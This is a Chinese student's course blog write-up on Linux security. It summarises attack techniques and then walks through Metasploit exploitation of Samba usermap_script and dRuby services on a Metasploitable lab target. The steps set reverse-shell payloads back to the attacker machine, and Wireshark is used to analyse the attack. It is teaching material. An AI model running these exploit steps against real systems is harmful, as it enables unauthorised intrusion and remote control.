20199304 2019-2020-2 《网络攻防实践》第8周作业
作业课程: | https://edu.cnblogs.com/campus/besti/19attackdefense |
---|---|
作业要求: | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635 |
课程目标: | 学习《网络攻防技术与实践》教材第八章,并完成课后作业 |
本次作业实现目标: | 学习Linux操作系统安全攻防 |
1.实践内容
1、Linux操作系统基本框架
-
1.1 Linux的优势
- 代码开源
- 跨平台硬件支持
- 丰富的软件支持
- 多用户多服务
- 可靠的安全性
- 良好的稳定性
- 完善的网络功能
-
1.2 Linux系统结构
-
Linux操作系统内核:宏内核结构
-
进程与线程管理机制:抢占式多用户多进程模式
-
内存管理机制:允许多个进程安全地共享物理内存区域。
-
文件系统管理机制:虚拟文件管理VFS机制,支持数十种不同类型的逻辑文件系统。
-
设备控制机制:设备驱动程序处理或管理硬件控制器的软件,本质是特权的、驻留内存的低级的硬件控制例程的共享库。
-
网络机制:内核中网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。
-
系统调用机制:系统调用接口,允许应用程序透过这层接口来访问硬件设备和其他系统资源。系统调用通过软中断实现。
-
2、Linux操作系统安全机制
-
2.1 Linux身份认证机制
-
通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全的使用Linux操作系统。
- Root根用户:唯一拥有至高无上权限的超级用户
- 普通用户:普通
- 系统用户:不具有登录能力,但系统运行时不可缺少
-
用户组:具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。
- 用户组信息保存再系统的/etc/group文件中,包括用户组名称、gid及用户组所包含的用户名列表,用户组加密口令保存在/etc/gshadow文件中。
- id -a 命令可以查询和显示当前用户所属组,并通过 groupadd 命令添加用户组,使用 usermod -G group_name user_name 向特定组来添加用户。
-
本地登录用户认证机制:最基本的用户认证机制。
-
远程登陆用户认证机制:使用SSH服务来进行远程用户登录与网路访问,SSH提供两种方式的用户认证机制:
- 1、基于口令
- 2、基于非对称密钥
-
统一身份认证中间件——PAM:给不同的应用软件、网络服务提供统一的身份认证机制。
-
认证管理:接受用户名和密码,进而对该用户的密码进行认证,并负责设置用户的一些秘密信息。
-
账户管理:检查账户是否被允许登录系统,账号是否已经过期,账号的登录是否有时间段的限制等。
-
密码管理:用来修改用户的密码。
-
会话管理:提供会话的管理和审计。
-
-
2.2 Linux授权与访问控制机制
-
Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备文件类型来统一集成对其他类型系统的管理。
-
文件的所有者
-
文件的访问权限
- R:读取
- W:写入
- X:执行
-
文件的特殊执行权限:再系统文件访问权限执行位上,有一类“特权”。
- SUID:允许可执行文件在运行时刻从运行者身份提升至文件所有者权限
- SGID:执行时是以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源。
-
-
2.3 Linux安全审计机制
- 主要通过三个主要的日志子系统来实现,包括:
- 连接实践日志:由多个程序执行
- 进程统计日志:由系统内核执行
- 错误日志记录:由通用的日志记录服务syslogd(8)执行
- 主要通过三个主要的日志子系统来实现,包括:
3、Linux系统远程攻防技术
-
3.1 远程网络入侵Linux系统的主要方法:
-
对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
-
挖掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地shell的访问权。
-
通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。
-
在Linux系统作为连接多个网络的路由器,或者打开混杂模式实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
-
-
3.2 Linux远程口令字猜测攻击
-
Linux系统主要支持telnet、rlogin、rsh和SSH协议的网络远程控制,这些协议使用了Linux系统内置的用户名和口令来对远程用户进行身份认证。攻击者如果能够通过这些网络协议远程猜测成功一组用户名和口令,那么就可以用这些信息远程登录到Linux系统上,获得本地的访问权。
-
支持攻击者进行自动化的远程口令猜测工具,包括:
- Brutus
- THC Hydra
- Cain and Abel
-
-
3.3 Linux网络服务远程渗透攻击
- 对监听网络服务安全漏洞的渗透利用。
-
3.4 攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序
- 攻击Linux系统用户:常见的包括电子邮件、即时通信中设计一些应用社会工程学技巧的欺骗场景,来诱骗用户点击执行电子邮件附件或通过即时通信软件传输中的可执行程序或恶意文档,访问某些恶意地址,以及不经意间泄漏某些关于服务器配置的敏感信息,使得攻击者能够在服务器上获得恶意程序执行、引导客户端软件访问渗透攻击代码的机会,从而在管理员眼皮底下拿到系统的访问权。
4、Linux系统本地安全攻防技术
-
4.1 Linux本地特权提升
- 破解出root用户的口令,然后执行su或sudo命令进行提升
- 发掘并利用su或sudo程序中的安全漏洞
- 攻击用户态sudo特权提升漏洞以及攻击Linux内核代码特权提升漏洞
- 从系统中搜索全局可写的敏感文件与目录位置并加以利用
-
4.2 Linux系统上消踪灭迹
- 抹除Linux系统行为记录日志:
- 改变当前活动的日志,以防止系统管理员注意到攻击者当前的登录活动
- 清理自己在shell程序中所输入的命令历史记录
- 删除自己执行过的命令历史记录
- 抹除Linux系统行为记录日志:
-
4.3 Linux系统远程控制后门
- Linux系统上植入远程控制后门程序的类型主要有:
- 特洛伊木马化的系统程序
- 命令行后门工具
- 图形化后门工具
- Linux系统上植入远程控制后门程序的类型主要有:
2.实践过程
实践一:使用Metasploitable进行Linux远程渗透攻击
-
问题: 使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
-
回答:
-
- 在kali中输入进入Metasploit:
msfconsole
,然后搜索漏洞:search usermap
,搜索结果如下图,可以看出这是针对这个漏洞的渗透攻击模块。
- 在kali中输入进入Metasploit:
- 2.使用指令
use exploit/multi/samba/usermap_script
来进行对应脚本的攻击,并show payloads
来获取攻击负载模块
- 3.使用指令
set PAYLOAD cmd/unix/reverse
来设置有效的攻击载荷。(18号cmd/unix/reverse,后面的描述显示是基于telnet协议的负载模块) - 4.使用指令
set rhost 192.168.200.5
设置靶机地址,使用指令set lhost 192.168.200.3
设置攻击机地址
- 5.使用指令
show options
查看payload状态,确认信息设置是否正确.
- 6.通过
exploit
开始攻击,使用命令whomai
查看当前权限账户,并命令whomai
查看当前权限账户
-
实践二:攻防对抗实验
-
问题:
- 攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流。
- 攻击方: 使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
- 防御方: 使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。
-
攻击:
-
- 在攻击机kali使指令
nmap -sV 192.168.200.5
扫描靶机,查看开放的端口,及端口上程序的版本。
- 在攻击机kali使指令
-
2.使用工具nessus扫描漏洞
-
3.这里我们选择dRuby漏洞,搜索漏洞
search drb
。
-
- 使用指令
use exploit/linux/misc/drb_remote_codeexec
来进行对应脚本的攻击,并通过指令set PAYLOAD cmd/unix/reverse
设置攻击负载,截图如下。
- 使用指令
-
5.设置靶机地址
set rhost 192.168.200.5
,设置攻击机地址set lhost 192.168.200.3
-
6.提前打开wireshark,然后使用指令
exploit
来执行攻击,攻击成功后使用指令whoami
发现执行权限是root,使用指令ifconfig
来查看靶机网络状态。
-
7.使用指令shell来打开shell框,输入指令id来查看shell权限账户及其所在的权限组。
-
-
wireshark
-
1: 从第一条记录中,通过信息栏,得知攻击方地址是192.168.200.3。
-
2: 以筛选条件
ip.src==192.168.200.3 or ip.src==192.168.200.5
来筛选,在数据包中攻击方攻击使用的端口都在8787
-
3: 查看第一个数据包,在信息栏中可以看到,攻击发起时间是
2020 05:04:32
。
-
4: 要想知道攻击利用的漏洞,我们利用端口号8787来查看nmap结果,得知这个端口是druby服务的端口,进而得知这是针对drb漏洞的攻击。
-
5: 在第一个shellcode中,可以看到其中第一次攻击失败。
-
6: 在第二个shellcode中,可以看到攻击成功建立连接。
-
7: 在最后的数据包中,可以看到回复的ifconfig结果以及输入的指令shell,id
-
3.学习中遇到的问题及解决
- 问题1:
nessus
不能使用,提示Error: Your plugin feed hasn't been updated in 34 days.
以及NOTICE: Nessus has detected that API access on this scanner is disabled.
- 问题1解决方案:使用指令
/opt/nessus/sbin/nessuscli update --all
##更新全部(含软件与插件)
4.实践总结
本次实验难度不大,但遇到的问题很麻烦————nessus不能使用,我查看了许多同学的博客,发现的方法是在别虚拟机新装nessus,原谅我懒不想在开别的虚拟机(电脑太卡了,虚拟机开多了不流畅),还好最终找到了解决方法。